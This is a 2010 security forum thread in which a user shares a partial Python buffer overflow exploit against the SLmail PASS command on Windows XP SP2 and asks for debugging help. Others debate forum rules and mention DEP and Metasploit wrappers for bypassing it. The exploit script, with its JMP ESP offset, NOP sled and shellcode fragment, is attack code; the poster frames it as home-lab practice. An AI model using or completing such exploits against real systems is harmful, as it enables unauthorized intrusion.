January 7th, 2010, 01:53 AM
The target is an xp sp2 machine running a SLmail server which I know is vulnerable to buffer overflow with the PASS command. So I whipped up the following script:
shellcode =("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" +
# where 0x01c7a18b is a JMP ESP in user32.dll on xp sp2
# buffer = '\x41' * 4654 + struct.pack('<L', 0x01c7a18b) + '\x90' * 16 +shellcode
buffer = '\x41' * 4654 + '\x42' * 4 + '\x43' * 48
print "\nSending evil buffer..."
data = s.recv(1024)
s.send('USER ftp' + '\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
the resulting crash shows my four B's sitting pretty in EIP but when I pass the address of a JMP ESP in user32.dll (done in this case by changing the commented line) the resulting crash holds a different address in EIP which does not point towards my shellcode.
I am certain that some one will point out my stupid mistake easily but I have been working on this all day and still it does not work...
Thanks in advance for the help,
Last edited by ey3l45h; January 7th, 2010 at 03:17 PM.
Reason: I copied and pasted the wrong version of the script.
January 7th, 2010, 11:19 AM
You are obviously going to get banned if you don't remove that. While I am sure you are not going to read this, anyways - http://antionline.com/faq.php?faq=vb...eading_posting
CISSP, CISM, CISA, SSCP
*Thank you GOD*
Greater the Difficulty, SWEETER the Victory.
Believe in yourself.
January 7th, 2010, 12:42 PM
If he's the owner of the machine he's attempting this on, there isn't any law being broken. Wasn't asked in the best manner, but, if the machine is his, there shouldn't be an issue. Other than others here probably not wanting to answer since we have a corporate owner who has to be responsible for any problems on here. The staff here are generally into the stuff we do here (I mean the staff, the mods obviously have an interest) but their bosses, probably not heh.
January 7th, 2010, 02:54 PM
@byte~ I am sorry I did not see any where in the rules where it said that one could not post educational projects. Of course this is for practice on my home lab. If you could please link me to something which shows a rule I have broken I would be the first to remove my post. Thanks for the flaming.
@gore~ I recognize that I could have worded that better. I have been a long time reader of AO and this was my first post. If you have some advice which would help in the future maybe some other forums which would be able to help I would love to hear it.
The question still stands I still don't know why the address I am entering is destroying the stack in such a way that I can not get to my JMP ESP.
k thanx bye,
January 8th, 2010, 12:08 AM
January 8th, 2010, 12:29 AM
I didn't see a problem with it so I left it alone too. He owns the machine and is simply trying to learn something, and isn't breaking any laws since, again, the machine is his, so he can do with it what he likes. So I just left it alone to grow lol.
January 9th, 2010, 06:16 PM
Its supposed to do that since its no longer held in memory. Without the process up and running there would be no need to store a memory address.
actually once it crashed EIP held "00000000"
January 7th, 2010, 03:01 PM
Doesn't even look like the shell is sent to anything at all. It just looks like an unused string in this script to me.
January 7th, 2010, 03:16 PM
@~Spec You are right I was changing a few I am about to edit that... it did get sent in the script that I ran. I accidentally did not add it to the end of the commented line...
January 7th, 2010, 11:11 PM
Not sure but can this be any service to you?
Data Execution Prevention (DEP) is a security feature included in modern Microsoft Windows operating systems that is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow, for example.
I believe metasploit has some wrappers to defeat this protection. Just convert script procedure to your code.